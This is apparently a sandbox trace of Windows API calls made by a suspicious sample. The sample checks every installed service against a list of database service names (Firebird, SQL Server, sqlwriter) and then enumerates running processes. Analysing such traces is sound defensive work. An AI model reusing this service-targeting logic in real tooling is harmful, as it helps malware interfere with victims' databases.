	[0161.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0161.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0161.800] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0161.800] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0161.800] lstrlenW (lpString="LanmanServer") returned 12
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0161.801] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0161.801] lstrlenW (lpString="lfsvc") returned 5
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0161.801] lstrlenW (lpString="lmhosts") returned 7
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0161.801] lstrlenW (lpString="LSM") returned 3
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0161.801] lstrlenW (lpString="MpsSvc") returned 6
	[0161.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.801] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0161.801] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0161.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0161.801] lstrlenW (lpString="NcbService") returned 10
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0161.802] lstrlenW (lpString="netprofm") returned 8
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0161.802] lstrlenW (lpString="NgcSvc") returned 6
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0161.802] lstrlenW (lpString="NlaSvc") returned 6
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0161.802] lstrlenW (lpString="nsi") returned 3
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0161.802] lstrlenW (lpString="PcaSvc") returned 6
	[0161.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0161.802] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0161.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0161.802] lstrlenW (lpString="PlugPlay") returned 8
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0161.803] lstrlenW (lpString="Power") returned 5
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0161.803] lstrlenW (lpString="ProfSvc") returned 7
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0161.803] lstrlenW (lpString="RpcEptMapper") returned 12
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0161.803] lstrlenW (lpString="RpcSs") returned 5
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0161.803] lstrlenW (lpString="SamSs") returned 5
	[0161.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0161.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0161.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0161.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0161.803] lstrlenW (lpString="Schedule") returned 8
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0161.804] lstrlenW (lpString="SecurityHealthService") returned 21
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0161.804] lstrlenW (lpString="SENS") returned 4
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0161.804] lstrlenW (lpString="ShellHWDetection") returned 16
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0161.804] lstrlenW (lpString="Spooler") returned 7
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0161.804] lstrlenW (lpString="StateRepository") returned 15
	[0161.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0161.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0161.804] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0161.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0161.804] lstrlenW (lpString="SysMain") returned 7
	[0161.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0161.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0161.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0161.805] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0161.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0161.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0161.805] lstrlenW (lpString="Themes") returned 6
	[0161.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0161.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0161.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0161.805] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0161.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0161.805] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0161.805] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0161.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0161.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0161.805] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0161.805] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0161.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40a6888 | out: hHeap=0x710000) returned 1
	[0161.805] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378
	[0161.812] Process32FirstW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0161.812] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0161.812] lstrlenW (lpString="System") returned 6
	[0161.812] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0161.813] lstrlenW (lpString="smss.exe") returned 8
	[0161.813] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.813] lstrlenW (lpString="csrss.exe") returned 9
	[0161.813] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0161.814] lstrlenW (lpString="wininit.exe") returned 11
	[0161.814] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.814] lstrlenW (lpString="csrss.exe") returned 9
	[0161.814] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0161.815] lstrlenW (lpString="winlogon.exe") returned 12
	[0161.815] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0161.815] lstrlenW (lpString="services.exe") returned 12
	[0161.815] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0161.815] lstrlenW (lpString="lsass.exe") returned 9
	[0161.815] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.816] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.816] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.816] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.816] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.817] lstrlenW (lpString="svchost.exe") returned 11
	[0161.817] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.817] lstrlenW (lpString="svchost.exe") returned 11
	[0161.817] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0161.818] lstrlenW (lpString="dwm.exe") returned 7
	[0161.818] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.818] lstrlenW (lpString="svchost.exe") returned 11
	[0161.818] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.819] lstrlenW (lpString="svchost.exe") returned 11
	[0161.819] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.819] lstrlenW (lpString="svchost.exe") returned 11
	[0161.819] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.819] lstrlenW (lpString="svchost.exe") returned 11
	[0161.819] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.820] lstrlenW (lpString="svchost.exe") returned 11
	[0161.820] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.820] lstrlenW (lpString="svchost.exe") returned 11
	[0161.820] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.821] lstrlenW (lpString="svchost.exe") returned 11
	[0161.821] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.821] lstrlenW (lpString="svchost.exe") returned 11
	[0161.821] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.822] lstrlenW (lpString="svchost.exe") returned 11
	[0161.822] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.822] lstrlenW (lpString="svchost.exe") returned 11
	[0161.822] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0161.822] lstrlenW (lpString="spoolsv.exe") returned 11
	[0161.822] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.823] lstrlenW (lpString="svchost.exe") returned 11
	[0161.823] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0161.823] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0161.823] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0161.824] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0161.824] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0161.824] lstrlenW (lpString="audiodg.exe") returned 11
	[0161.824] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0161.824] lstrlenW (lpString="Memory Compression") returned 18
	[0161.825] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.825] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.825] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0161.825] lstrlenW (lpString="sihost.exe") returned 10
